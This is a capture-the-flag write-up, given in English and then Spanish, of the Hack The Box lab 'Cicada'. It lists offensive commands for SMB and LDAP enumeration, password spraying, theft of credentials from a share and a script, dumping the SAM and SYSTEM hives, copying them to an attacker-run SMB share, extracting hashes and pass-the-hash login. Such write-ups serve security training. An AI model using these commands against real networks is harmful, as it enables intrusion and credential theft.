Post

Cicada Write Up

FirstPic

Reconnaissance

This machine is part of the seasson 6 of Hack The Box, and although it is finished, these machines are available to keep practicing and learning.

As always, to start we will scan the open ports to identify the services running on the machine.

1
nmap -p- --open -sS --min-rate 5000 -n -v -Pn 10.10.11.35 -oN IScan
  •     -p-  Reference all ports (1-65535)
  •    –open  Only display open ports
  •    -sS  Perform a SYN scan, stealthy
  •    –min-rate 5000  Send packages no slower than the indicated ones
  •    -n  DNS resolution does not apply
  •    -v  Show the results in real time (verbose)
  •    -Pn  Means that the host are alive
  •    -oN IScan  Saves the output in the specified format

FirstPic

Now we want to discover the version of these services also send some reconnaissance scripts.

  •     -sCV  Gets the version and sends recognition scripts
  •    -p   Indicated the ports to scan

There are a lot of interesting services to enumerate, like ldap, kerberos, winrm, but the most interesting one is smb so let’s try to list the shared files.

1
smbclient -L 10.10.11.35 -N

With smbclient we can’t list the permissions that we have over the shared files, so let’s do this with smbmap or crackmapexec.

1
crackmapexec smb 10.10.11.35 -u '' -p ''

This command is not showing any output, so let’s try with the guest user, which usually is enabled.

1
crackmapexec smb 10.10.11.35 -u 'guest' -p ''

2Pic

As we can see in the image, we have access to the HR and IPC$ directories.

Explotation

If we list the content of HR we will see a text document that looks like a welcome message to a new employee, although we don’t know who it is.

1
smbmap -H 10.10.11.35 -U 'guest' -r HR

2Pic

1
smbclient \\\\10.10.11.35\\HR -U 'guest'

2Pic

In this file we find a plain text password, so now we are interested in finding usernames. As the ldap service is open we can try to use ldapsearch to dump information from the domain, but this will display an error.

Another tool we can try to enumerate users is netExec which has an option called rid brute force, that allow us to try different RIDs to detect valid users.

1
nxc smb 10.10.11.35 -u 'Guest' -p '' --rid-brute --ignore-pw-decoding >> nxc_output.txt

The format in which the output is stored will be more useful if we filter it and store the names directly.

1
cat nxc_output.txt | awk '{print $6}' | tr '\' ' ' | awk '{print $2}' | sort -u >> names.txt

Now that we have users and a password, we can try tools like hydra or crackmapexec to find the owner of the password.

1
crackmapexec smb 10.10.11.35 -u names.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

2Pic

As we can see, the password belongs to the user michael.wrightson, but if we try to see if we can connect to the machine through winrm, crackmapexec will show us that the user is not allowed. Another thing we can try is, having valid credentials, to run again ldapsearch.

1
ldapsearch -x -H ldap://10.10.11.35 -D 'cicada\michael.wrightson' -w 'Cicada$M6Corpb*@Lp#nZp!8' -b "DC=cicada,DC=htb"

In this huge output, we can search for “password” and we will find the description of David Orelious with his password noted.

2Pic

As with the previous user, David is not member of the Remote Management Users so we can’t connect through winrm. If we try to access to his shared files, we will see that we have access to the DEV directory.

1
2
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -r DEV

In this directory we found a powershell script which we can download to see the content.

1
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --download 'DEV\Backup_script.ps1'

2Pic

In this file we can see a plain text password which belongs to the user Emily. Once we can use crackmapexec to check if we are able to connect to the machine using evil-winrm.

1
crackmapexec winrm 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

2Pic

The “pwned” word means that we can connect through winrm.

1
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Privilege Escalation

After a short enumeration we see that Emily is member of SeBackupPrivilege group, which allows to obtain the content of files even if the user doesn’t have permissions to access them.

1
whoami /priv

Pic

To abuse of this we can copy the administrator flag into any directory or try to get an interactive shell by copying the system and sam files which is the option I am going to do.

1
2
3
mkdir C:\temp
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system

Pic

Now with smbserver.py we can transfer these files into our machine.

1
python3 smbserver.py smbFolder $(pwd) -smb2support

And from the victim machine we run the following commands.

1
2
3
copy C:\temp\sam \\tu_ip\smbFolder\sam
copy C:\temp\system \\tu_ip\smbFolder\system

With the SAM and SYSTEM files in our machine we can get the hashes of the users with the tool secretsdump.py of impacket.

1
python3 secretsdump.py -sam sam -system system LOCAL

Pic

Finally, with the NT part of the hash of the user administrator we can connect with evil-winrm.

1
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341

Pic

Reconocimiento

Esta máquina pertenece a la temporada 6 de Hack The Box, y aunque ya haya acabado, estas máquinas están disponibles para seguir practicando y aprendiendo.

Como siempre, para comenzar lanzaremos un escaneo de puertos para identificar los servicios que corren en la máquina.

1
nmap -p- --open -sS --min-rate 5000 -n -v -Pn 10.10.11.35 -oN IScan
  •    -p-   Indica todo el rango de puertos (1-65535)
  •    –open  Únicamente muestra los puertos abiertos
  •    -sS  Hace un escaneo “SYN”, más sigiloso
  •    –min-rate 5000  Envía paquetes no más lentos de los indicados
  •    -n  No aplica resolución DNS
  •    -v  Muestra lo que encuentra en tiempo real (verbose)
  •     -Pn  Da por hecho que los hosts están activos
  •     -oN IScan  Guarda el output en el formato mostrado, en ese archivo

FirstPic

Ahora nos interesa averiguar la versión de cada uno de estos servicios y de paso probar algunos scripts de reconocimiento.

1
nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,58625 10.10.11.35 -oN SScan
  •    -sCV  Comprueba la versión y prueba unos scripts de reconocimiento
  •    -p  Indica los puertos a escanear 1Pic

Tenemos varios servicios interesantes con los que probar como ldap, kerberos, winrm, pero el que más me llama la atención es smb por lo que vamos a listar los recursos compartidos en caso de que los haya.

1
smbclient -L 10.10.11.35 -N

Como con smbclient no podemos listar los permisos que tenemos sobre los archivos compartidos, podemos usar smbmap o crackmapexec.

1
crackmapexec smb 10.10.11.35 -u '' -p ''

Este comando no nos muestra ningún output por lo que probaremos con el usuario guest, que suele estar habilitado.

1
crackmapexec smb 10.10.11.35 -u 'guest' -p ''

2Pic

Como se muestra en la imagen tenemos acceso a HR y a IPC$.

Explotación

Si listamos el contenido de HR, veremos un documento de texto que parece dar la bienvenida a un nuevo usuario, aunque no se especifica a quién.

1
smbmap -H 10.10.11.35 -U 'guest' -r HR

2Pic

1
smbclient \\\\10.10.11.35\\HR -U 'guest'

2Pic

En este archivo encontramos una contraseña en texto plano, por lo que ahora nos interesaría encontrar algún nombre de usuario. Al estar ldap expuesto podemos tratar de dumpear información con ldapsearch, sin embargo salta un error.

Otra herramienta que podemos usar es netExec para enumerar usuarios. Una de las opciones que podemos utilizar es rid brute force, que es una técnica que consiste en probar distintos RIDs para detectar usuarios válidos.

1
nxc smb 10.10.11.35 -u 'Guest' -p '' --rid-brute --ignore-pw-decoding >> nxc_output.txt

El formato en el que se ha almacenado el output nos será más útil si lo filtramos y almacenamos directamente los nombres.

1
cat nxc_output.txt | awk '{print $6}' | tr '\' ' ' | awk '{print $2}' | sort -u >> names.txt

Ahora que contamos con varios usuarios y una contraseña, podemos probar con herramientas como hydra o crackmapexec para ver si la contraseña pertenece a algún usuario.

1
crackmapexec smb 10.10.11.35 -u names.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

2Pic

Como vemos la contraseña pertenece al usuario michael.wrightson, pero si tratamos de conectarnos por winrm, crackmapexec nos mostrará que no podemos. Otra cosa que podemos probar es, ya teniendo credenciales válidas, volver a lanzar ldapsearch.

1
ldapsearch -x -H ldap://10.10.11.35 -D 'cicada\michael.wrightson' -w 'Cicada$M6Corpb*@Lp#nZp!8' -b "DC=cicada,DC=htb"

De todo este output, podemos filtrar por “password” en busca de contraseñas y encontraremos en la descripción del usuario David Orelious su contraseña anotada.

2Pic

Al igual que con el usuario anterior, David no pertenece al grupo “Remote Management Users” por lo que no nos podemos conectar por winrm. Si tratamos de listar recursos compartidos con este usuario vemos que podemos acceder al contenido del directorio DEV.

1
2
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -r DEV

En el directorio DEV encontramos un script que podemos descargar para ver el contenido.

1
smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --download 'DEV\Backup_script.ps1'

2Pic

En este script de powershell podemos ver una credencial en texto plano que pertenece al usuario Emily. Una vez más, con crackmapexec, comprobamos si podemos usar estas credenciales para conectarnos con evil-winrm.

1
crackmapexec winrm 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

2Pic

La palabra “pwned” quiere decir que podemos conectarnos.

1
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Escalada de Privilegios

Tras enumerar un poco vemos que el usuario Emily pertenece al grupo SeBackupPrivilege, que permite obtener el contenido de archivos incluso aunque el usuario no tenga permisos para acceder a ellos.

1
whoami /priv

Pic

Para aprovecharnos de esto podemos copiar o bien la flag del usuario administrator, o copiar los archivos SAM y SYSTEM para tratar de obtener su hash NTLM y ganar acceso por medio de una consola interactiva. Yo haré esta última opción.

1
2
3
mkdir C:\temp
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system

Pic

Ahora con la utilidad smbserver.py de impacket nos transferimos ambos archivos.

1
python3 smbserver.py smbFolder $(pwd) -smb2support

Y desde la máquina víctima copiamos los siguientes comandos:

1
2
copy C:\temp\sam \\tu_ip\smbFolder\sam
copy C:\temp\system \\tu_ip\smbFolder\system

Con el SAM y SYSTEM ya en nuestra máquina, podemos sacar los hashes de los usuarios con la herramienta secretsdump.py de impacket.

1
python3 secretsdump.py -sam sam -system system LOCAL

Pic

Y ahora con el hash del usuario administrator podemos conectarnos con evil-winrm proporcionando la parte NT.

1
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341

Pic

This post is licensed under CC BY 4.0 by the author.